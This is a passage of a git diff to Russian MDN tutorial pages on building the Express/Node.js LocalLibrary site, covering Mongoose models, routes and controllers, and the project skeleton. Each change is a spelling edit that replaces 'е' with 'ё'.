        Заметка: Объявить  в схеме URL как виртуальные свойства - хорошая идея,  т.к. URL отдельного элемента при необходимости изменения требует коррекции только в одном месте.
        
- Сейчас связь при помощи этого URL еще не работает, так как у нас еще нет кода, поддерживающего маршруты для экземпляров модели.  Мы построим его в следующей статье!
        
+ Сейчас связь при помощи этого URL ещё не работает, так как у нас ещё нет кода, поддерживающего маршруты для экземпляров модели.  Мы построим его в следующей статье!
        
 
        
 
 
        В конце модуля экспортируется модель.
        
 
 
        Модель книги Book
        
 
-
        Скопируйте код схемы Book (приведен ниже) в файл ./models/book.js. Большая часть кода подобна коду для модели автора — объявляется схема с рядом строковых полей, с виртуальным свойством URL для получения  URL конкретных книг, затем модель экспортируется.
        
+
        Скопируйте код схемы Book (приведён ниже) в файл ./models/book.js. Большая часть кода подобна коду для модели автора — объявляется схема с рядом строковых полей, с виртуальным свойством URL для получения  URL конкретных книг, затем модель экспортируется.
        
 
 
        var mongoose = require('mongoose');
 
@@ -682,12 +682,12 @@ module.exports = mongoose.model('Book', BookSchema);
 
 
          
  
        • author - это ссылка на единственный объект модели Author , обязательный элемент.
          • 
- 
        • genre (жанр) - ссылка на массив объектов модели Genre. Эта модель еще не объявлена!
          • 
+ 
        • genre (жанр) - ссылка на массив объектов модели Genre. Эта модель ещё не объявлена!
          • 
 
        
 
 
        Модель экземпляра книги BookInstance
        
 
-
        Наконец, скопируйте код схемы BookInstance (приведен ниже) в файл ./models/bookinstance.js. Схема BookInstance представляет конкретный экземпляр книги, которую можно одолжить на время, и содержит информацию о доступности экземпляров книги, о дате возврата одолженной книги, о деталях версии или печатного экземпляра.
        
+
        Наконец, скопируйте код схемы BookInstance (приведён ниже) в файл ./models/bookinstance.js. Схема BookInstance представляет конкретный экземпляр книги, которую можно одолжить на время, и содержит информацию о доступности экземпляров книги, о дате возврата одолженной книги, о деталях версии или печатного экземпляра.
        
 
 
        var mongoose = require('mongoose');
 
@@ -734,7 +734,7 @@ module.exports = mongoose.model('BookInstance', BookInstanceSchema);
        
  
      • Экспортируйте модель.
        • 
 
 
-
        Тестирование — создаем элементы БД
        
+
        Тестирование — создаём элементы БД
        
 
 
        Вот так. У нас теперь есть все модели для создания сайта!
        
 
@@ -764,7 +764,7 @@ module.exports = mongoose.model('BookInstance', BookInstanceSchema);
        
 
 
        В этой статье мы познакомились с БД и ОРМ (объектно-реляционными моделями) в системе Node/Express, узнали, как определяются схемы и модели Mongoose. Мы применили эти знания при проектировании и реализации моделей Book, BookInstance, Author и Genre для веб-сайта LocalLibrary.
        
 
-
        В конце мы испытали свои модели путем создания ряда элементов (при помощи автономного скрипта). В следующей статье мы рассмотрим создание страниц, на которых будут показаны эти элементы.
        
+
        В конце мы испытали свои модели путём создания ряда элементов (при помощи автономного скрипта). В следующей статье мы рассмотрим создание страниц, на которых будут показаны эти элементы.
        
 
 
        Смотрите также
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/routes/index.html b/files/ru/learn/server-side/express_nodejs/routes/index.html
index 14d65e989c..65169cf637 100644
--- a/files/ru/learn/server-side/express_nodejs/routes/index.html
+++ b/files/ru/learn/server-side/express_nodejs/routes/index.html
@@ -34,7 +34,7 @@ translation_of: Learn/Server-side/Express_Nodejs/routes
 
 
        В последней статье мы определили модели Mongoose  для взаимодействия с базой данных, и использовали (автономный) скрипт, который создал некоторые исходные записи библиотеки. Теперь можно написать код, чтобы представить эту информацию пользователям. Первое, что нужно сделать, это решить, какие возможности для отображения информации мы хотим иметь на наших страницах, а затем определить соответствующие URL-адреса для получения этих ресурсов. Затем нужно будет создать маршруты (обработчики URL-адресов) и представления (шаблоны) для отображения этих страниц.
        
 
-
        Приведенная ниже диаграмма напоминает об основном потоке данных и об элементах, которые необходимо реализовать при обработке HTTP-запроса/ответа. Кроме представлений и маршрутов на диаграмме показаны "контроллеры" - функции, которые отделяют код для маршрутизации запросов от кода, который фактически обрабатывает запросы.
        
+
        Приведённая ниже диаграмма напоминает об основном потоке данных и об элементах, которые необходимо реализовать при обработке HTTP-запроса/ответа. Кроме представлений и маршрутов на диаграмме показаны "контроллеры" - функции, которые отделяют код для маршрутизации запросов от кода, который фактически обрабатывает запросы.
        
 
 
        Поскольку модели уже созданы, основные элементы, которые следует создать, таковы:
        
 
@@ -48,13 +48,13 @@ translation_of: Learn/Server-side/Express_Nodejs/routes
 
 
        В итоге, у нас должны быть страницы для вывода списков  и  детальной информации по книгам, жанрам, авторам и экземплярам книг, а также страницы для создания, обновления и удаления записей. Это много для одной статьи. Поэтому большая часть этой статьи будет сосредоточена на настройке наших маршрутов и контроллеров для возврата "фиктивного" контента. Мы расширим методы контроллеров для работы с данными модели в следующих статьях .
        
 
-
        В первом разделе ниже приведен краткие основы того, как использовать промежуточное средство (middleware)  Express Router. Эти знания будут использованы в следующих разделах при настройке  маршрутов для LocalLibrary.
        
+
        В первом разделе ниже приведён краткие основы того, как использовать промежуточное средство (middleware)  Express Router. Эти знания будут использованы в следующих разделах при настройке  маршрутов для LocalLibrary.
        
 
 
        Маршруты - основы
        
 
 
        Маршруты - это часть кода Express, связывающая HTTP действия (GET, POST, PUT, DELETE, etc.), URL пути (шаблона), и функцию, которая обрабатывает этот шаблон.
        
 
-
        Есть несколько способов создания маршрутов. В этом уроке мы используем промежуточные запросы express.Router,  так как они позволяют группировать обработчики маршрутов для определенной части сайта и получать к ним доступ через общий префикс маршрута.  Все маршруты, связанные с библиотекой, будут сохранены в модуле "catalog", и если мы добавим маршруты для обработки учетных записей пользователей или других функций, мы сможем сгруппировать их отдельно.
        
+
        Есть несколько способов создания маршрутов. В этом уроке мы используем промежуточные запросы express.Router,  так как они позволяют группировать обработчики маршрутов для определённой части сайта и получать к ним доступ через общий префикс маршрута.  Все маршруты, связанные с библиотекой, будут сохранены в модуле "catalog", и если мы добавим маршруты для обработки учётных записей пользователей или других функций, мы сможем сгруппировать их отдельно.
        
 
 
        
 
        Заметка: Маршруты приложения Express уже кратко рассматривались в Express Introduction > Creating route handlers (Введение -> Создание обработчиков маршрутов).  Применение Router обеспечивает лучшую поддержку модульности (как обсуждается в первой подсекции ниже), а в остальном очень похоже на определение маршрутов непосредственно в объекте приложения Express.
        
@@ -97,11 +97,11 @@ module.exports = router;
 // ...
 app.use('/wiki', wiki);
        
 
-
        После этого два маршрута, определенные в нашем модуле маршрутов wiki, станут доступны из /wiki/ и /wiki/about/.
        
+
        После этого два маршрута, определённые в нашем модуле маршрутов wiki, станут доступны из /wiki/ и /wiki/about/.
        
 
 
        Функции Route
        
 
-
        В модуле выше определена пара типовых функций маршрута. Маршрут "about" (еще раз показан ниже) определен при помощи метода Router.get(), который отвечает только на  HTTP GET-запросы. Первый аргумент метода - URL-путь, а второй -  колбэк-функция, которая будет вызвана, если получен HTTP GET-запрос с указанным путем.
        
+
        В модуле выше определена пара типовых функций маршрута. Маршрут "about" (ещё раз показан ниже) определён при помощи метода Router.get(), который отвечает только на  HTTP GET-запросы. Первый аргумент метода - URL-путь, а второй -  колбэк-функция, которая будет вызвана, если получен HTTP GET-запрос с указанным путем.
        
 
 
        router.get('/about', function (req, res) {
   res.send('About this wiki');
@@ -117,7 +117,7 @@ app.use('/wiki', wiki);
        
 
        Выше у функции роутера только один колбэк-аргумент, но можно указать столько таких аргументов, сколько хотите, или указать массив колбэк-функций. каждая из функций - это элемент в цепочке промежуточного слоя, и они будут вызываться в порядке их добавления в цепочку (если предыдущая функция не завершит запрос).
        
 
 
-
        Здесь, когда приходит GET-запрос с путем ('/about') колбэк-функция при ответе вызывает send() , возвращая строку "About this wiki". Существует  ряд других методов ответа , завершающих цикл запрос-ответ. Например, можно вызвать res.json() , чтобы послать ответ JSON, или res.sendFile(), чтобы послать файл. Метод ответа, который будет использован чаще всего при построении нашей библиотеки - это  render(), создающий, на основе шаблонов и данных, и возвращающий  HTML-файлы —мы поговорим об этом подробнее в следующей статье!
        
+
        Здесь, когда приходит GET-запрос с путём ('/about') колбэк-функция при ответе вызывает send() , возвращая строку "About this wiki". Существует  ряд других методов ответа , завершающих цикл запрос-ответ. Например, можно вызвать res.json() , чтобы послать ответ JSON, или res.sendFile(), чтобы послать файл. Метод ответа, который будет использован чаще всего при построении нашей библиотеки - это  render(), создающий, на основе шаблонов и данных, и возвращающий  HTML-файлы —мы поговорим об этом подробнее в следующей статье!
        
 
 
        HTTP глаголы (действия)
        
 
@@ -125,7 +125,7 @@ app.use('/wiki', wiki);
        Кроме того, Router обеспечивает также методы маршрутизации для других HTTP глаголов, которые обычно используются точно таким же способом: post(), put(), delete(), options(), trace(), copy(), lock(), mkcol(), move(), purge(), propfind(), proppatch(), unlock(), report(), ​​​​​​ mkactivity(), checkout(), merge(), m-search(), notify(), subscribe(), unsubscribe(), patch(), search(), и connect().
        
 
-
        Например, код ниже делает то же, что и предыдущий, с путем /about, но отвечает на  HTTP POST-запросы.
        
+
        Например, код ниже делает то же, что и предыдущий, с путём /about, но отвечает на  HTTP POST-запросы.
        router.post('/about', function (req, res) {
   res.send('About this wiki');
@@ -156,7 +156,7 @@ app.use('/wiki', wiki);
        Параметры маршрутов
        
 
-
        Параметры маршрутов - это именованные сегменты URL , которые используются для выбора значений из указанной позиции  URL. Именованные сегменты начинаются двоеточием, после которого следует имя (например, /:your_parameter_name/.  Выбранные значения сохраняются в объекте req.params, причем имя параметра  используется как ключ (т.е. req.params.your_parameter_name).
        
+
        Параметры маршрутов - это именованные сегменты URL , которые используются для выбора значений из указанной позиции  URL. Именованные сегменты начинаются двоеточием, после которого следует имя (например, /:your_parameter_name/.  Выбранные значения сохраняются в объекте req.params, причём имя параметра  используется как ключ (т.е. req.params.your_parameter_name).
        Предположим, например, что URL содержит информацию о пользователях и книгах:  http://localhost:3000/users/34/books/8989. Можно извлечь эту информацию (см. ниже) в параметры userId и bookId пути:
        
 
@@ -170,14 +170,14 @@ app.use('/wiki', wiki);
        Имена параметров пути должны состоять из “символов слова” (A-Z, a-z, 0-9, и _).
        
-
        Заметка: URL /book/create будет соответствовать маршрутам вида /book/:bookId (и 'create' станет значением "bookId"). Будет использован первый маршрут, соответствующий введенному  URL, поэтому, если необходимо обрабатывать URL вида /book/create отдельно, обработчик этого маршрута должен быть расположен до маршрута /book/:bookId .
        
+
        Заметка: URL /book/create будет соответствовать маршрутам вида /book/:bookId (и 'create' станет значением "bookId"). Будет использован первый маршрут, соответствующий введённому  URL, поэтому, если необходимо обрабатывать URL вида /book/create отдельно, обработчик этого маршрута должен быть расположен до маршрута /book/:bookId .
        
 
        Для начала этих сведений достаточно - если потребуется, можно найти дополнительную информацию в документации  Express: Basic routing (основы маршрутизации) и Routing guide (руководство по маршрутизации).  В следующем разделе показано, как задать маршруты и контроллеры для нашей библиотеки LocalLibrary.
        Маршруты, необходимые для библиотеки LocalLibrary
        
 
-
        Те URL, которые в итоге будут нужны для наших страниц, показаны ниже.  Слово object должно быть заменено на имя каждой из наших моделей (book, bookinstance, genre, author),  слово objects - множественное число для object, а id - уникальное значение для поля(_id), которое Mongoose создает по умолчанию для каждого экземпляра модели.
        
+
        Те URL, которые в итоге будут нужны для наших страниц, показаны ниже.  Слово object должно быть заменено на имя каждой из наших моделей (book, bookinstance, genre, author),  слово objects - множественное число для object, а id - уникальное значение для поля(_id), которое Mongoose создаёт по умолчанию для каждого экземпляра модели.
          
  
        • catalog/ — Домашняя страница home/index.
          • 
@@ -190,7 +190,7 @@ app.use('/wiki', wiki);
 
 
          Первая домашняя страница и страницы со списками не кодируют никакой дополнительной информации. Хотя результаты, возвращаемые запросами, будут зависеть от типа модели и от содержимого БД, запросы для получения этой информации всегда будут одинаковы (подобно тому, как код для создания объектов всегда будет одним и тем же). 
          
 
-
          В противоположность этому, другие URL используются для работы с  определенными экземплярами документов и моделей— индивидуальность элементов кодируется в  URL (как <id> выше). Параметры путей используются для извлечения информации и передачи ее в обработчик пути (и в следующей статье мы применим этот прием для того, чтобы динамически определять, какую информацию следует получить из БД). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).
          
+
          В противоположность этому, другие URL используются для работы с  определёнными экземплярами документов и моделей— индивидуальность элементов кодируется в  URL (как <id> выше). Параметры путей используются для извлечения информации и передачи её в обработчик пути (и в следующей статье мы применим этот приём для того, чтобы динамически определять, какую информацию следует получить из БД). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).
          
 
 
          
 
          Заметка: Express позволяет строить URL любым способом, который вам нравится — можно кодировать информацию в теле  URL как показано выше или использовать URL GET -запрос с параметрами (например, /book/?id=6). Какой бы подход вы не применяли, URL должны быть ясными, логичными и читаемыми (ознакомьтесь с советами W3C).
          
@@ -198,11 +198,11 @@ app.use('/wiki', wiki);
 
 
          Далее мы создадим колбэк-функции обработчиков маршрутов и код маршрутов для всех указанных выше URL.
          
 
-
          Создаем колбэк-функции обработчиков маршрутов
          
+
          Создаём колбэк-функции обработчиков маршрутов
          
 
 
          Перед определением маршрутов сначала создадим фиктивные (каркасные) колбэк-функции, которые они будут вызывать. Эти функции будут храниться в отдельных модулях -"контроллерах" для моделей Book, BookInstance, Genre, и Author (можно использовать любую структуру моделей и файлов, но кажется, что выбранная обеспечивает приемлемую модульность нашего проекта).
          
 
-
          Начнем с создания каталога для контроллеров в корне проекта (/controllers), а затем создадим отдельные файлы (модули) контроллеров для работы с моделями:
          
+
          Начнём с создания каталога для контроллеров в корне проекта (/controllers), а затем создадим отдельные файлы (модули) контроллеров для работы с моделями:
          
 
 
          /express-locallibrary-tutorial  //корень проекта
   /controllers
@@ -260,7 +260,7 @@ exports.author_update_post = function(req, res) {
 
 
          В модуле сначала подключается (requires) модель, которая далее будет использована для получения данных и их обновления. Далее экспортируются функции для каждого URL, который мы хотим обрабатывать (операции create-создать, update-обновить и delete-удалить используют формы, следовательно, должны быть дополнительные методы для обработки post-запросов от форм - эти методы обсуждаются далее, в статье "forms article" ("формы")).
          
 
-
          Все функции имеют стандартную форму функций среднего слоя Express , с аргументами для запроса, ответа и следующей (next) функции, которая должна быть вызвана, если метод не завершил цикл запроса (во всех приведенных в коде случаях - завершает!). Методы просто возвращают строку, информирующую о том, что соответствующая страница еще не создана. Если функция контроллера должна получить параметры маршрута, эти параметры будут выведены в строке сообщения (смотри выше req.params.id ).
          
+
          Все функции имеют стандартную форму функций среднего слоя Express , с аргументами для запроса, ответа и следующей (next) функции, которая должна быть вызвана, если метод не завершил цикл запроса (во всех приведённых в коде случаях - завершает!). Методы просто возвращают строку, информирующую о том, что соответствующая страница ещё не создана. Если функция контроллера должна получить параметры маршрута, эти параметры будут выведены в строке сообщения (смотри выше req.params.id ).
          
 
 
          BookInstance controller
          
 
@@ -358,7 +358,7 @@ exports.genre_update_post = function(req, res) {
 
 
          Контроллер книги
          
 
-
          Скопируйте следующий код в файл /controllers/bookController.js. Он построен по образцу других модулей контроллеров, но еще содержит функцию index() для вывода странички с приветствием:
          
+
          Скопируйте следующий код в файл /controllers/bookController.js. Он построен по образцу других модулей контроллеров, но ещё содержит функцию index() для вывода странички с приветствием:
          
 
 
          var Book = require('../models/book');
 
@@ -409,9 +409,9 @@ exports.book_update_post = function(req, res) {
 
 
          Создание модуля для маршрута catalog
          
 
-
          Далее мы создадим маршруты для всех URL, необходимых веб-сайту LocalLibrary, которые будут вызывать функции контроллеров, определенные в предыдущем разделе.
          
+
          Далее мы создадим маршруты для всех URL, необходимых веб-сайту LocalLibrary, которые будут вызывать функции контроллеров, определённые в предыдущем разделе.
          
 
-
          Каркас приложения уже содержит каталог ./routes, в котором есть маршруты для index и users. Внутри этого каталога создадим еще один файл маршрутов — catalog.js ( см. ниже).
          
+
          Каркас приложения уже содержит каталог ./routes, в котором есть маршруты для index и users. Внутри этого каталога создадим ещё один файл маршрутов — catalog.js ( см. ниже).
          
 
 
          /express-locallibrary-tutorial //the project root
   /routes
@@ -419,7 +419,7 @@ exports.book_update_post = function(req, res) {
     users.js
     catalog.js
          
 
-
          Скопируйте приведенный ниже код в файл /routes/catalog.js :
          
+
          Скопируйте приведённый ниже код в файл /routes/catalog.js :
          
 
 
          var express = require('express');
 var router = express.Router();
@@ -554,7 +554,7 @@ router.get('/bookinstances', book_instance_controller.bookinstance_list);
 
 
          Все новые маршруты заданы, а маршрут на начальную страницу остался без изменения. Давайте перенаправим его на новую страницу "index", которая создана в каталоге  '/catalog'.
          
 
-
          Откройте /routes/index.js и замените существующий маршрут приведенную ниже.
          
+
          Откройте /routes/index.js и замените существующий маршрут приведённую ниже.
          
 
 
          // GET home page.
 router.get('/', function(req, res) {
@@ -582,7 +582,7 @@ app.use('/users', usersRouter);
 app.use('/catalog', catalogRouter);  // Add catalog routes to middleware chain.
          
 
 
          
-
          Заметка: Мы добавили модуль каталога в путь'/catalog'.  Этот путь будет предшествовать всем путям, определенным в модуле каталога. Например, для доступа к списку книг URL будет таким: /catalog/books/.
          
+
          Заметка: Мы добавили модуль каталога в путь'/catalog'.  Этот путь будет предшествовать всем путям, определённым в модуле каталога. Например, для доступа к списку книг URL будет таким: /catalog/books/.
          
 
          
 
 
          Вот так. Теперь у нас есть пути и фиктивные функции, подготовленные для всех  URL, которые мы собираемся поддерживать на веб-сайте LocalLibrary.
          
diff --git a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html
index 1ed22246de..7f01cbf62e 100644
--- a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html
+++ b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html
@@ -73,7 +73,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
 
 
          Какой движок представлений следует использовать?
          
 
-
          Express-generator дает возможность сконфигурировать несколько популярных движков, включая EJS, Hbs, Pug (Jade), Twig, и Vash, но по умолчанию  выбран Jade. Экспресс сразу после установки может поддерживать большое количество и других шаблонизаторов.
          
+
          Express-generator даёт возможность сконфигурировать несколько популярных движков, включая EJS, Hbs, Pug (Jade), Twig, и Vash, но по умолчанию  выбран Jade. Экспресс сразу после установки может поддерживать большое количество и других шаблонизаторов.
          
 
 
          
 
          Заметка: При желании использовать шаблонизатор, который не поддерживается генератором,  просмотрите  документацию Using template engines with Express  и документацию для нужного шаблонизатора.
          
@@ -86,7 +86,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
  
        • Популярность и активность — проверьте популярность движка, возможно, у него есть активное сообщество. Очень важно иметь поддержку для движка, если у вас возникнут проблемы в течении жизни веб-сайта.
          • 
  
        • Стиль — некоторые шаблонизаторы используют особую разметку для отображения вставленного контента внутри "обычного" HTML, а другие строят  HTML, используя специальный синтаксис (например, используя отступы или блочные имена).
          • 
  
        • Производительность и время интерпретации.
          • 
- 
        • Особенности — следует выбирать движок  с учетом таких особенностей:
+ 
        • Особенности — следует выбирать движок  с учётом таких особенностей:
   
            
    
          • Наследование макета: позволяет определить базовый шаблон и затем наследовать только те части, которые отличаются для конкретной страницы. Это, как правило, лучший подход, чем создание шаблонов путём включения нескольких необходимых компонентов или создания шаблона с нуля каждый раз.
            • 
    
          • Поддержка «Include»: позволяет создавать шаблоны, включая другие шаблоны.
            • 
@@ -207,7 +207,7 @@ GET /favicon.ico 404 34.134 ms - 1335
          • 
 
          Обеспечиваем
          
  перезапуск сервера при изменении файлов
          
 
-
          Любые изменения, внесенные на веб-сайт Express, не будут отображаться до перезапуска сервера. Остановка (Ctrl-C) и перезапуск сервера каждый раз после внесения изменений быстро становится раздражающей, поэтому стоит автоматизировать перезапуск.
          
+
          Любые изменения, внесённые на веб-сайт Express, не будут отображаться до перезапуска сервера. Остановка (Ctrl-C) и перезапуск сервера каждый раз после внесения изменений быстро становится раздражающей, поэтому стоит автоматизировать перезапуск.
          
 
 
          Одно из самых простых средств для этого --
          
  nodemon. Его обычно устанавливают глобально (так как это "инструмент"), но  сейчас мы установим его и будем применять локально как зависимость разработки, так что любые разработчики проекта получат его автоматически при установке приложения. Выполним следующую команду (предполагаем, что мы находимся в корневом каталоге):
          
@@ -254,7 +254,7 @@ GET /favicon.ico 404 34.134 ms - 1335
          
 
          DEBUG=express-locallibrary-tutorial:* npm run devstart
          
 
 
          
-
          Заметка: Сейчас после изменения любого файла проекта сервер будет перезапускаться (или можно самостоятельно перезапустить его, введя rs в командной строке). Вам все равно придется обновить страницу в браузере .
          
+
          Заметка: Сейчас после изменения любого файла проекта сервер будет перезапускаться (или можно самостоятельно перезапустить его, введя rs в командной строке). Вам все равно придётся обновить страницу в браузере .
          
 
 
          Теперь мы должны выполнять команду "npm run <scriptname>" а не просто  npm start, поскольку "start", это, по сути, команда NPM, сопоставленная сценарию в файле package.json. Можно заменить команду в сценарии "start", но, так как мы хотим использовать nodemon только во время разработки, разумно создать новую команду сценария.
          
 
          
@@ -265,7 +265,7 @@ GET /favicon.ico 404 34.134 ms - 1335
          
 
 
          Структура каталогов
          
 
-
          После установки зависимостей проект имеет такую структуру файлов (файлы - это элементы без префикса"/"). Файл package.json определяет имя файла с приложением, сценарии запуска, зависимости и др.  Сценарий запуска задает точку входа приложения, у нас -- файл JavaScript /bin/www. Этот файл настраивает некоторые обработчики ошибок приложения, а затем загружает  app.js для выполнения остальной работы. Пути приложения хранятся в отдельных модулях каталога routes/.  Шаблоны хранятся в каталоге /views.
          
+
          После установки зависимостей проект имеет такую структуру файлов (файлы - это элементы без префикса"/"). Файл package.json определяет имя файла с приложением, сценарии запуска, зависимости и др.  Сценарий запуска задаёт точку входа приложения, у нас -- файл JavaScript /bin/www. Этот файл настраивает некоторые обработчики ошибок приложения, а затем загружает  app.js для выполнения остальной работы. Пути приложения хранятся в отдельных модулях каталога routes/.  Шаблоны хранятся в каталоге /views.
          
 
 
          /express-locallibrary-tutorial
     app.js
@@ -321,7 +321,7 @@ GET /favicon.ico 404 34.134 ms - 1335
          
 
 
            
  
          • body-parser: -- анализирует часть тела входящего запроса HTTP и облегчает извлечение из него различных частей. Например, мы можно читать POST-параметры.
            • 
- 
          • cookie-parser: разбирает заголовок и заполняет req.cookies (по сути, дает удобный метод для доступа к информации cookie).
            • 
+ 
          • cookie-parser: разбирает заголовок и заполняет req.cookies (по сути, даёт удобный метод для доступа к информации cookie).
            • 
  
          • debug: небольшой отладчик, работающий по образцу методики отладки ядра node.
            • 
  
          • morgan: средство логирования запросов HTTP для node.
            • 
  
          • serve-favicon: средство обработки favicon (значка, используемого для представления сайта на вкладках браузера, закладках и т. д).
            • 
@@ -336,7 +336,7 @@ GET /favicon.ico 404 34.134 ms - 1335
 
 
            Файл www
            
 
-
            Файл /bin/www – это входная точка приложения. Сначала в файле создается объект основного приложения, расположенного в app.js — выполняется app=require(./app).
            
+
            Файл /bin/www – это входная точка приложения. Сначала в файле создаётся объект основного приложения, расположенного в app.js — выполняется app=require(./app).
            
 
 
            #!/usr/bin/env node
 
@@ -351,11 +351,11 @@ GET /favicon.ico 404 34.134 ms - 1335
            
 
            Заметка: require() -- это глобальная функция node  для импорта модулей в текущий файл.  Для модуля app.js указан относительный путь, а расширение файла по умолчанию (.js) опущено.
            
 
          
 
-
          Оставшаяся часть кода настраивает порт сервера node для HTTP (определен в переменной среды или 3000, если не определен), и начинает обработку и протоколирование соединений и ошибок сервера. Сейчас вам не требуется дополнительных сведений о коде (все в этом файле шаблонно), но, при желании, его можно посмотреть.
          
+
          Оставшаяся часть кода настраивает порт сервера node для HTTP (определён в переменной среды или 3000, если не определён), и начинает обработку и протоколирование соединений и ошибок сервера. Сейчас вам не требуется дополнительных сведений о коде (все в этом файле шаблонно), но, при желании, его можно посмотреть.
          
 
 
          Файл app.js
          
 
-
          Этот файл создает объект приложения  express (с именемapp, по соглашению), настраивает приложение и промежуточное ПО, а затем экспортирует приложение из модуля. В приведенном ниже коде показаны только те части файла, которые создают и экспортируют объект приложения:
          
+
          Этот файл создаёт объект приложения  express (с именемapp, по соглашению), настраивает приложение и промежуточное ПО, а затем экспортирует приложение из модуля. В приведённом ниже коде показаны только те части файла, которые создают и экспортируют объект приложения:
          
 
 
          var express = require('express');
 var app = express();
@@ -382,10 +382,10 @@ var users = require('./routes/users');
 
          
 
 
          
-
          Заметка: Здесь мы только импортируем модули. В действительности эти пути еще не используются — это произойдет в файле несколько позже.
          
+
          Заметка: Здесь мы только импортируем модули. В действительности эти пути ещё не используются — это произойдёт в файле несколько позже.
          
 
          
 
-
          Далее, импортированные модули express применяются для создания объекта app, который потом устанавливает движки-шаблоны представления. Установка движков состоит их двух частей. В первой мы задаем значение 'view', указывая папку, в которой будут размещаться шаблоны (у нас это /views). Во второй мы задаем значение движка 'view engine', указывая на библиотеку шаблона (у нас — "pug").
          
+
          Далее, импортированные модули express применяются для создания объекта app, который потом устанавливает движки-шаблоны представления. Установка движков состоит их двух частей. В первой мы задаём значение 'view', указывая папку, в которой будут размещаться шаблоны (у нас это /views). Во второй мы задаём значение движка 'view engine', указывая на библиотеку шаблона (у нас — "pug").
          
 
 
          var app = express();
 
@@ -412,7 +412,7 @@ app.use('/users', users);
 
          
 
 
          
-
          Заметка: . пути, указанные выше ('/' и '/users') рассматриваются как префиксы путей, определенных в импортированных файлах. Так, например, если импортированный модуль users определяет путь для /profile, для доступа следует указать /users/profile.  Мы поговорим подробнее о путях в последующей статье.
          
+
          Заметка: . пути, указанные выше ('/' и '/users') рассматриваются как префиксы путей, определённых в импортированных файлах. Так, например, если импортированный модуль users определяет путь для /profile, для доступа следует указать /users/profile.  Мы поговорим подробнее о путях в последующей статье.
          
 
          
 
 
          Последняя в файле промежуточная библиотека добавляет методы обработки ошибок и ответов 404 от HTTP.
          
@@ -442,7 +442,7 @@ app.use(function(err, req, res, next) {
 
 
          Пути (Routes)
          
 
-
          Файл путей /routes/users.js приведен ниже (файлы путей имеют сходную структуру, поэтому нет необходимости приводить также index.js). Сначала загружается модуль Express, затем он используется для получения объекта express.Router. После этого для этого объекта задается путь, и, наконец, объект-роутер экспортируется из модуля (именно это позволяет импортировать файл в app.js):.
          
+
          Файл путей /routes/users.js приведён ниже (файлы путей имеют сходную структуру, поэтому нет необходимости приводить также index.js). Сначала загружается модуль Express, затем он используется для получения объекта express.Router. После этого для этого объекта задаётся путь, и, наконец, объект-роутер экспортируется из модуля (именно это позволяет импортировать файл в app.js):.
          
 
 
          var express = require('express');
 var router = express.Router();
@@ -455,7 +455,7 @@ var router = express.Router();
 module.exports = router;
 
          
 
-
          Путь определяет колбэк-функцию, которая будет вызвана, когда обнаружится HTTP GET-запрос корректного вида. Образец для сопоставления пути задается при импорте модуля -- ('/users') плюс что-то, определяемое в этом файле ('/'). Иными словами, этот путь будет использован, когда получен URL-запрос /users/.
          
+
          Путь определяет колбэк-функцию, которая будет вызвана, когда обнаружится HTTP GET-запрос корректного вида. Образец для сопоставления пути задаётся при импорте модуля -- ('/users') плюс что-то, определяемое в этом файле ('/'). Иными словами, этот путь будет использован, когда получен URL-запрос /users/.
          
 
 
          
 
          Совет: запустите сервер и задайте в браузере URL http://localhost:3000/users/. Вы должны увидеть сообщение: 'respond with a resource'.
          
@@ -473,7 +473,7 @@ router.get('/', function(req, res) {
 });
 
 
-
          Шаблон для пути '/' приведен ниже (файл index.pug). О синтаксисе мы поговорим позже. Сейчас важно знать, что переменная title со значением 'Express' помещена в определенное место шаблона.
          
+
          Шаблон для пути '/' приведён ниже (файл index.pug). О синтаксисе мы поговорим позже. Сейчас важно знать, что переменная title со значением 'Express' помещена в определённое место шаблона.
          
 
 
          extends layout
 
diff --git a/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
index 6a816405e4..57b1bcc18a 100644
--- a/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
+++ b/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
@@ -43,7 +43,7 @@ original_slug: Learn/Server-side/Express_Nodejs/Учебник_сайт_local_li
  
        • Использовать базу данных для хранения данных вашего приложения.
          • 
  
        • Создавать маршруты для запросов различной информации и шаблонов ("представлений") для рендеринга данных в виде HTML для отображения в браузере.
          • 
  
        • Работать с формами.
          • 
- 
        • Развертывать ваше приложение в производство.
          • 
+ 
        • Развёртывать ваше приложение в производство.
          • 
 
        Вы уже имеете знания о некоторых из этих тем и кратко касались других. К концу серии уроков вы должны знать достаточно, чтобы разрабатывать простые приложения Express самостоятельно.
        
diff --git a/files/ru/learn/server-side/first_steps/index.html b/files/ru/learn/server-side/first_steps/index.html
index 4f6b0b78f6..7e1c323a9e 100644
--- a/files/ru/learn/server-side/first_steps/index.html
+++ b/files/ru/learn/server-side/first_steps/index.html
@@ -15,7 +15,7 @@ translation_of: Learn/Server-side/First_steps
 ---
 
        {{LearnSidebar}}
        
 
-
        В этом модуле, посвященном программированию на стороне сервера, мы ответим на несколько фундаментальных вопросов о программировании серверной части: «что это такое?», «чем оно отличается от программирования клиентской части?» и «почему оно так полезно?». Затем последует обзор некоторых самых популярных веб-фреймворков для серверной части и руководство по выбору наиболее подходящего фреймворка для создания вашего первого сайта. Наконец, мы завершим этот модуль вводной статьей о безопасности веб-сервера.
        
+
        В этом модуле, посвящённом программированию на стороне сервера, мы ответим на несколько фундаментальных вопросов о программировании серверной части: «что это такое?», «чем оно отличается от программирования клиентской части?» и «почему оно так полезно?». Затем последует обзор некоторых самых популярных веб-фреймворков для серверной части и руководство по выбору наиболее подходящего фреймворка для создания вашего первого сайта. Наконец, мы завершим этот модуль вводной статьёй о безопасности веб-сервера.
        
 
 
        Прежде чем начать
        
 
@@ -41,9 +41,9 @@ translation_of: Learn/Server-side/First_steps
  
        Фреймворки серверной части
        
  
